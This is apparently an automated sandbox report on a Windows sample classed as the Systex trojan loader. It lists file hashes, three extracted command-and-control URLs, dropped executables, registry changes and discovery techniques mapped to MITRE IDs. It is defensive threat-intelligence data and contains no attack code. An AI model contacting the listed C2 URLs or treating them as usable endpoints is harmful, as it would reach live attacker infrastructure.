systex | ad39d655dc495c6aeae6fa2f79043b61fc14335ade8206f3627fe81f4cc929fa

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 19:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260604-xt5lvsds9p
SHA256 ad39d655dc495c6aeae6fa2f79043b61fc14335ade8206f3627fe81f4cc929fa
MD5 653fe4b2862fcae5c418a3588a4119c1
SHA1 50c0a864d71b1f67378b008ec59787a8adaa2ac2
SHA512 af9ad05e3dd80f9394e9262c63a775a5fb1e975ddefe7a7f80d493c46cebba085b7c13486ddde80fd02174a758f53a4f599c3a3b4f3af6d27b50a5ddab2ccdd8
SSDEEP 3072:aJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9X:aghLQ0sQmpcF8BzXfwVfAI9
TLSH
T1B5344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
5416	CP.exe
648	cwrpjhbwuo.exe
5736	CP.exe
4340	CP.exe
916	i_cwrpjhbwuo.exe
3572	ztoljebwro.sys
4748	CP.exe
1436	ojgbztrmje.exe
5348	CP.exe
4408	CP.exe
2460	i_ojgbztrmje.exe
4164	gbztrljdbw.sys
5076	CP.exe
3412	ztoigbytrl.exe
4404	CP.exe
4652	CP.exe
4580	i_ztoigbytrl.exe
1248	gdywqoigav.sys
5236	CP.exe
5056	qligaysqlf.exe
5228	CP.exe
4868	CP.exe
1860	i_qligaysqlf.exe
5776	tnlidbvtnl.sys
3584	CP.exe
4760	igavsqkida.exe
1632	CP.exe
5544	CP.exe
5248	i_igavsqkida.exe
3028	kidavsnlfd.sys
2440	CP.exe
6132	dxspkifays.exe
4472	CP.exe
2596	CP.exe
4624	i_dxspkifays.exe
1136	auspkicaus.sys
4028	CP.exe
5476	pnhfxupmkf.exe
2320	CP.exe
3380	CP.exe
5796	i_pnhfxupmkf.exe
1876	cxusmkfcxv.sys
1776	CP.exe
5404	jhczusmkec.exe
724	CP.exe
4608	CP.exe
1832	i_jhczusmkec.exe
2084	usmkecwupm.sys
3224	CP.exe
4604	hbzurpkecz.exe
3772	CP.exe
1032	CP.exe
1108	i_hbzurpkecz.exe
3304	ecwuomhezw.sys
2324	CP.exe
4036	uomjebwuom.exe
1240	CP.exe
4820	CP.exe
5620	i_uomjebwuom.exe
5616	uomgeywroj.sys
5556	CP.exe
2580	jdbwtolgeb.exe
3940	CP.exe
4044	CP.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\te\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\si\messages.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\mr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\kk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_5840_1990120246\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_106_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_753237530\shopping.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\hu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_753237530\shopping_fre.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_753237530\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_753237530\product_page.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\hy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_692537385\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_753237530\edge_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5840_1003593294\_locales\ur\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ojgbztrmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qligaysqlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igavsqkida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbwtolgeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wqoigaytql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ausnkfdxvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwrpjhbwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbwtolgeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhczusmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbzurpkecz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ausnkfdxvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwrpjhbwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ztoigbytrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxspkifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbzurpkecz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifdxspnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbztrmjebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomgbywrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdbvtqljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qligaysqlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igavsqkida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uomjebwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ytqlgdywto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pkhcausmkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ojgbztrmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhczusmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uomjebwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pkhcausmkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmhczurpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuomgbywrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ztoigbytrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxspkifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ytqlgdywto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmhczurpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbztrmjebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnhfxupmkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnhfxupmkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wqoigaytql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifdxspnifa.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3640	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5632	ipconfig.exe
4680	ipconfig.exe
1884	ipconfig.exe
5188	ipconfig.exe
4972	ipconfig.exe
2576	ipconfig.exe
2404	ipconfig.exe
4348	ipconfig.exe
5016	ipconfig.exe
5756	ipconfig.exe
3048	ipconfig.exe
5488	ipconfig.exe
4016	ipconfig.exe
5008	ipconfig.exe
5184	ipconfig.exe
5664	ipconfig.exe
1248	ipconfig.exe
5212	ipconfig.exe
2356	ipconfig.exe
5772	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 49 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\GPU\VendorId = "5140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\GPU\DeviceId = "140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\GPU\SubSysId = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "8"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\GPU\SubSysId = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "395196024"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\HomepagesUpgradeVersion = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\GPU\SoftwareFallback = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\GPU\Revision = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "8"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPMigrationVer = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\GPU\VendorId = "5140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPMigrationVer = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\GPU\DeviceId = "140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateLowDateTime = "3289096415"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateHighDateTime = "31257778"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionLow = "395196024"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "13"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "9"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\GPU\SoftwareFallback = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListDomainAttributeSet = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\GPU\Revision = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListDomainAttributeSet = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "13"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134250737881471476"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2746394149-3500112804-1243524366-1000\{208292CA-09C2-4B5E-B9CA-4D2F6C15D1CC}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
3616	2026-06-04_653fe4b2862fcae5c418a3588a4119c1_elex_redline-stealer_rhadamanthys_stop.exe
